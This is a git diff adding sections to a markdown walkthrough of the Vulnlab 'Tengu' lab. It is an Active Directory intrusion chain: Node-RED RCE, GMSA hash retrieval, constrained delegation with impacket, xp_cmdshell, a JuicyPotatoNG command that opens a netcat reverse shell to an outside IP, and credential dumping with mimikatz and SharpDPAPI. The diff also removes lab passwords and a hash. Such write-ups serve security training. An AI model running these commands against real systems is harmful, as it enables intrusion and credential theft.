diff --git a/Vulnlab/Tengu.md b/Vulnlab/Tengu.md index 94eec7e..d710bb6 100644 --- a/Vulnlab/Tengu.md +++ b/Vulnlab/Tengu.md @@ -36,7 +36,7 @@ Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows ``` -## +## nodered.tengu.vl ```bash PORT STATE SERVICE VERSION @@ -51,6 +51,8 @@ Both windows hosts had only RDP service enabled, on linux hosts, there was somet +## Remote Command Execution Through Node-RED + Node-RED is known for getting remote command execution (RCE), to achieve this, we'll need to create a flow by timestamp block following exec block @@ -71,6 +73,8 @@ From `nodered` directory, we can find some type of hashed password but not reall +## Accessing MSSQL + From sql node properties, we can see the connection string with the username `nodered_connector` @@ -123,15 +127,143 @@ proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p 'Tengu123' -c all - +## Escalating privileges on linux host + +From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host + + + +Through ssh we can easily switch to `t2_m.winters` user + + + +this host has `ReadGMSAPassword` on `GMSA01$` account + + + +## Constrained Delegation on SQL Host + +The NThash can be retrieved from `/etc/krb5.keytab`, this file contains service account hash in this case has NODERED's NThash, the hash can be extracted with KeyTabExtract https://github.com/sosdave/KeyTabExtract/tree/master + + + +This hash can be verified by authenticating on DC + + + +GMSA hash can be retrieved by using `--gmsa` module on LDAP + +```bash +proxychains nxc ldap 10.10.238.213 -u 'NODERED$' -H 'hash' --gmsa +``` + + + +This account has `AllowedToDelegate` permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation + + + + + +With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn't worked for administrator + + + +Instead of admin, we can check what other users we could target, there's a group name `SQL Admins` , with two users + + + + + +Here we can try to impersonate `T1.M_Winters` and then login through MSSQL using the ticket + +```bash +proxychains impacket-getST -spn 'MSSQLSvc/sql.tengu.vl' -impersonate 'T1_M.WINTERS' -hashes :hash 'tengu.vl/gMSA01$'@sql.tengu.vl -dc-ip 10.10.168.213 +``` + + + +From here xp_cmdshell can be enabled and system commands can be executed in the context of `gmsa01$` + + + +With netcat, we can get a reverse shell + + + +Checking our privileges, we can get local administrator by abusing `SeImpersonatePrivilege` with JuicyPotato-NG or any other recent potato exploit + + + +```bash +JuicyPotatoNG.exe -t * -p "C:\Windows\system32\cmd.exe" -a "/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe" +``` + + + + + +## Lateral Movement - Extracting Credentials Trough DPAPI + +Running mimikatz to dump local admin hash and checking if there are any hashes in lsass + + + + With `lsadump::cache` , domain cached credentials can be found where there's cached credentials for `c.fowler` but obviously this is not in NThash format so it cannot be used in pth unless it's gets cracked, which in this case was not the way + + + +To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize `sharpdpapi` to dump all credentials + +```bash +SharpDPAPI.exe machinecredentials +``` + + + +## Using kerberos authentication to spawn a shell as T0_c.fowler + +T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid + + + +But the plain text password wasn't working and it's probably due to admin users belonging to Protected Users Group which is why we'll need to use kerberos authentication + + + +So instead, using `kinit` we can request TGT for the user by specifying the plain text password and we'll get our ticket using by modifying the `/etc/krb5.conf` configuration file + +```bash +[libdefaults] + default_realm = TENGU.VL + kdc_timesync = 1 + ccache_type = 4 + forwardable = true + proxiable = true + rdns = false + dns_canonicalize_hostname = false + fcc-mit-ticketflags = true + +[realms] + TENGU.VL = { + kdc = dc.tengu.vl + } + +[domain_realm] + .tengu.vl = TENGU.VL + +``` + + + +Having the ticket, we can just dump hashes from ntds.dit using `secretsdump.py` or just spawn a shell using smb, wmi or psexec + + + + # References - https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/ - https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519 - -``` -nodered_connector:DreamPuppyOverall25 -t2_m.winters:af9cfa9b70e5e90984203087e5a5219945a599abf31dd4bb2a11dc20678ea147 -t2_m.winters:Tengu123 - -``` +- https://github.com/sosdave/KeyTabExtract/tree/master